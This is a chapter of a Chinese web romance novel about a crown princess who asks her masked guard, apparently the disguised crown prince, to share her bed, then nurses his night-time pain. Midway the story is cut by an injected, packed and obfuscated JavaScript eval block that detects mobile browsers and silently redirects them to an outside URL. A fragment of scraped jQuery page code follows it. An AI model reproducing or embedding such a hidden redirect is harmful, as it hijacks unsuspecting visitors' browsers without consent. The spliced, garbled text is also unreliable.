27. 同榻而眠
作品:《太子妃的美强惨暗卫》 一开始把“太子殿下”和“影玖”联系在一起时,姜黎是十分不可思议的。
想破了脑袋都没弄明白,堂堂一国太子怎会突然潜伏在自己身边当“暗卫”呢?图什么呀?
后来又想,会不会是因着前阵子太子被刺杀,导致他准备搞什么声东击西的反扑计划?所以对外放出声去“泡温泉”,对内则继续呆在府里运筹帷幄,这样一来,最危险的地方就是最安全的地方,任谁都不可能想到这样的妙计!
真是厉害啊!
只不过……这位影帝太子装暗卫装得为免也太像了点?
回想起之前在以为他是“影玖”时对他的各种使唤,饶是姜黎都不得不承认这位太子殿下还当真是好脾气。
然而,坏就坏在,他演得太好,导致她都有些混乱,不知究竟该用什么态度去面对了……
夜里,姜黎在床上辗转反侧,余光瞥见屏风外的那张小塌空空如也,又想起之前一个月与他同屋而眠的情形,一时心下寥寥,忍不住歪着脑袋冲窗外小唤了一句:“你在没?”
“吱呀”一声,窗户应声打开。
一个黑影驾轻就熟的翻了进来,刚想跪地行礼,却蓦然想起自己“太子”身份的暴露,只得杵着身形僵在了原地。
“太子妃……有何事?”影玖微调着自己的态度,努力揣摩着此刻应该做出的反应。
姜黎却是不耐烦地仰起头:“就只我们两个在这,你还装什么装呢?”
影玖:“……”
他谨慎地瞟了一眼外房隔间的方向,听出守夜的小丫鬟睡得正酣的呼吸,这才松了一口气,反身轻轻合上窗户,绕过屏风走近到床边,拿捏出一副比“影玖”更亲近一分都态度,小声关切道:“可是又失眠了?”
这个倒是不假,不过与她躺在温暖床榻里比起来,在外头“风餐露宿”的他才更需要关切吧?
想到这儿,姜黎便低头绞弄着被褥的一角,一边没好气着道:“你也没必要这么敬业吧?外头那么凉怎么睡呀?反正我都已经识破你了,你也就不用演了,直接回来屋里的塌上睡呗,反正那张塌也一直给你空着……”
她的目光扫过外头的小塌,这时才骤然察觉到,那张小塌的长度比她想象中窄上许多,倘若是她这样身量的姑娘家睡着还算勉强,可是以太子那比她高了一个头的个子,很明显半个腿都得伸在外头才行。
这……之前那一个月他都是怎么忍过来的啊?
而此刻,面对太子妃的沉默,对面的影玖却想得更多。
之前就因再无法“容忍”与她共处一室,便本能的想要逃避离开,可如今……竟是要以“暗卫”的身份来与她同房而眠么?这……这怎么可以?!他很想说一句于理不合,但又想到此刻在她眼里他是“太子”,是她的夫君,之前离别时她就因“太子”的突然疏远而有所不满了,那如今再这般无故拒绝,是否会让她产生怀疑呢?又或者是变得更不开心?
罢了,反正之前一个月也是这么过来的,只要自己恪守本分,那么自然无人知晓。
影玖这样兀自宽慰着,深吸一口气,刚准备穿过屏风,朝着那个熟悉的小塌走去时,床上的太子妃又突然开口了。
“等等……”姜黎纠结了许久,看了看自己身/下的这张两米长的雕木大床,又看了看对面的小塌,最终轻叹一口气,夹着自己的被褥将身体往里头挪了挪:“你还是过来跟我一起睡吧。”
影玖觉得自己听错了:“什……什么?”
“我说让你过来跟我一起睡。”姜黎也硬着头皮嘟囔道。
“……”
听着她那娇软的嗓音说出这么一句话时,他浑身血液骤停,下一息又纷纷涌上脑门,灼得他面颊耳根都通红滚烫,所幸这样的窘状被遮盖在了面具和夜色下,可依旧让他克制了许久,才终于平复着声音答:“这……于理不合。”
“什么于理不合?我们俩不是拜过天地么?”姜黎难得做出这样羞人的邀请,没想到竟被人拒绝了,她也霎时生出了恼怒,只鼓着腮帮子补充:“放心,别想太多,我只是允许你跟我睡在一张床上而已,外头柜子里还放着你之前用过的被褥呢,我给你讲,楚河汉界都分好,你可不能逾越雷池!”
不……即便这样也不可以,此乃大逆不道。
影玖在心中默念,手心都被捏得发汗,作为暗卫“影玖”而言,这是绝对不被允许的事情,可……现在对于太子妃来说,她只是在履行妻子的义务,只是在关心自己是丈夫罢了。
她没有错,错的是他。
他突然无比后悔之前没能彻底坦白,以至于让这样的“谎言”横亘在二人之间,让他……让他能有这样的借口继续去享受着她的温柔与亲近。
不应该这样的,这是卑劣的趁人之危,不能这样欺骗一无所知的她,可是……要怎么才能告诉她呢?
“所以你是不想跟我睡一张床是么?”姜黎察觉出了他态度的不对劲,开始不由自主的往自己最不愿意的方向去想,难不成,打从一开始,都只是他在介意?
“绝无此事!”听出了她语调的渐冷,影玖第一时间迅速否决。
为了不让她继续发散多想,他以最快的速度去柜子里拿来被褥,利索的在床上的一个角落摊开垫好,而后僵着身子躺了进去。
姜黎:“……”
虽说二人身形差别很大,但影玖却依然留出了大半的位置给姜黎,自己只沾着床边的一小块地方睡好,中间留出的一大片空隙当真是做到了“渭泾分明”得十分明了。
姜黎见他这般畏缩的样子,顿时又好气又好笑。
回想起之前他宝贝那枚丑香囊的模样,姜黎觉得自己应该是多想了,他不可能是嫌弃自己才是,难不成……这家伙是还没有跟人同床的习惯?亦或是嫌自己睡相不好?
哼,管你什么臭毛病,才不惯着你。
姜黎随即抱着自己的被子,滚成蚕蛹一样将自己裹好,就这样背对着他睡了过去。
许是有了陪伴的气息,又兴许是多了另一个人的呼吸来与自己“助眠”,姜黎很快就迷迷糊糊入睡了,并且难得睡得很香。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152738|194962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原以为这次终于可以一觉睡到大天亮了,却没想到半夜时被身侧那个隐忍的呻/吟声给惊醒。
她一开始以为对方做了什么噩梦,听了半晌却发现是有规律的喘/息,像是在忍耐着什么痛楚一般,这让她顷刻打了个激灵坐起身来,连忙去他被子里扒拉着问:“你怎么了?”
影玖则紧捂着胸口满头大汗,没有解药的痛楚原本是可以忍受的,但被她这么一问,他却觉得自己很是狼狈,真是罪该万死,怎能因此打扰到她休息?
他如今的素养和应变能力真是越活越回去了。
眼见太子妃伸手就想去摘自己的面具,影玖慌忙握住他的手腕,颤抖着几处一个字:“别……”
“你怎么了?哪里痛么?”姜黎本想摘下面具去看看他脸色,不想他却死活不肯,没办法,就只能顺着他的手去摸他胸口,估摸着大概的位置,试探着询问:“是胃疼么?”
本还在绞尽脑汁思索着说辞的影玖,此刻如蒙大赦,连忙轻/喘着点点头:“是……有点。”
作为一个上辈子也常年胃痛的社畜,姜黎也不由松一口气,倏尔又换上了一副责备地语调斥道:“让你平时不按时吃饭吧?真以为自己身子骨是铁打的是不是?”而后又开始担忧着自语:“话说,这个世界有没有速效胃药啊?”
答案当然是没有的,就算及时开药,也得熬两三个时辰才能换来一碗汤,等到那时候“胃痛”早就过了。
“没关系,不必声张……熬过一阵子就好了。”影玖努力平复着自己的呼吸,强打起精神宽慰她。
姜黎只能将信将疑地看着他,但左右也的确没什么法子,便将他的被褥往自己这边拉了一下,试图给他腾出更大的空间,一边叨叨着:“睡过来些吧,你别一个翻身掉下床去就搞笑了。”
影玖没再回答,只感受到一只小手替他掖了掖漏风的被褥,在这一刻,他却生出了一种莫名的安心。
作为一名常年处于戒备状态的暗卫而言,这种感觉很是奇妙,就像是心里那根永远紧绷的弦被人松懈了下来,让他终得以卸下了所有的心防,胸腔里的疼痛也仿若跟着他的情绪,一点一点的消失殆尽。
没再注意之后少女又在他耳畔说了些什么,只听到那句温柔清净的女声最后说了一句“晚安”之后,他竟真的就此沉沉睡去,思绪繁杂的脑海里再不复清明……
这是他第一次睡上了一个算得上是安稳的觉,也是他第一次没在警觉中惊醒,而是一眼睡到了大天亮……
直到一缕粥香飘来,唤醒了清晨的气息。
影玖缓缓睁开眼,却见屏风外的姜黎正端着一碗粥放到了桌前,而后又指了指地上的水盆和洗漱用具道:“呐,醒来了?那赶紧刷下牙,过来喝点粥吧?”
“这是……”影玖撩起被子起身,越过屏风走到桌前,目光却凝在了那碗热腾腾的粥上。
姜黎则咧着嘴笑答:“健脾养胃四宝粥,不知道吧?小米、南瓜、山药、红枣,这四个可是养胃神器!”
影玖:“……”

